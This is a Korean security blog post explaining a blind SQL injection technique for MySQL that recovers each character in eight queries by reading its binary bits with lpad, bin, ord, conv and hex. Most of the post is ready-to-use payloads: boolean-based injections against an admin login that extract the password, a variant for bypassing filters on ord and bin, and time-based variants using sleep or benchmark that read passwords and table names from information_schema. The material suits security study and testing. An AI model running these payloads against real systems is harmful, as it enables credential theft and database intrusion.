상세 컨텐츠

본문 제목

[WEB] Blind SQL Injection with ldap, bin, ord

기술보안/Web

by about_SC 2019. 7. 18. 15:06

본문

보통은 Blind SQLi은 한글자를 알아내기 위해 수십번의 쿼리를 날려야한다.
서버의 상태가 좋지 않거나 빠르게 알아내야하는 상황이 발생할 경우,
이 기술을 사용하면 효과적인 공격이 가능하다.

다음은 해당 기술을 사용하기 위해 알아둬야 할 함수의 목록이다.
해당 함수들은 기본적으로 알려진 ascii 등의 함수가 필터링되고 있을 시에 유용하게 사용될 수 있다.

 

[Needs]

* 1) lpad 함수
: lpad(초기값, 횟수, 채울문자)
// 채울 문자를 정해진 횟수의 길이에 도달할 때까지 초기값의 왼쪽에 붙여준다.
ex) lpad(1,8,0) = 00000001

* 2) bin 함수
: bin(숫자)
// 해당 값을 2진수의 형태로 변환해준다.
ex) bin(97) = 1100001

* 3) conv 함수
: conv(초기값, 초기진수, 바꿀진수)
// 해당 초기값을 초기진수에서 원하는 진수의 값으로 변환해준다.
ex) conv(61,16,2) = 1100001

* 4) ord 함수
: ord(문자)
// char 함수의 반대의 기능을 하는 함수로 해당 값을 아스키 숫자로 변환해준다.
ex) ord('a') = 97

* 5) hex 함수
: hex(문자)
// 해당 값을 16진수로 변환해준다.
ex) hex('a') = 61

 

[Payload]

substr(lpad(bin(ord(substr(passwd,1,1))),8,0),1,1)

1. substr(passwd,1,1) = passwd의 첫번째 글자를 가져온다. a라고 치자.
2. ord('a') = 97 로 바꿔준다.
3. bin(97) = 1100001 로 바꿔준다.
4. lpad(1100001,8,0) = 01100001 로 바꿔준다.
5. substr(01100001,1,1) = 0 을 반환한다.

위와 같은 방식으로 총 8번의 쿼리만을 날려 한글자를 알아낼 수 있다.
실제 공격은 아래와 같이 진행된다.

 


[BASIC]

Case 1)
id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0# 참
id=admin' and substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=1# 거짓

ord, bin 필터링의 경우 Case 2 유형의 공격이 가능하다.

Case 2)
id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),1,1)=0# 참
id=admin' and substr(lpad(conv(hex(substr(password,1,1)),16,2),8,0),1,1)=1# 거짓

 


[Time Based]

Case 3)
1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0,sleep(1),0)

1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1))),8,0),1,1)=0,sleep(1),0)

sleep 함수 필터링 시 Case 4  유형의 공격이 가능하다.

Case 4)
1 and if(substr(lpad(bin(ord(substr(password,1,1))),8,0),1,1)=0,benchmark(1000000,md5('a')),0)

1 and if(substr(lpad(bin(ord(substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1))),8,0),1,1)=0,benchmark(1000000,md5('a')),0)


'기술보안 > Web' 카테고리의 다른 글

[SQLi] Quine SQL Injection  (0) 2019.08.20
[WEB] 503 error  (0) 2019.07.25
[DB] SQLite SQL Injection and Payload  (0) 2019.07.12
[MySQL] 유저 권한 설정  (0) 2019.06.28
[WEB] XSS filter bypass  (0) 2019.06.17

관련글 더보기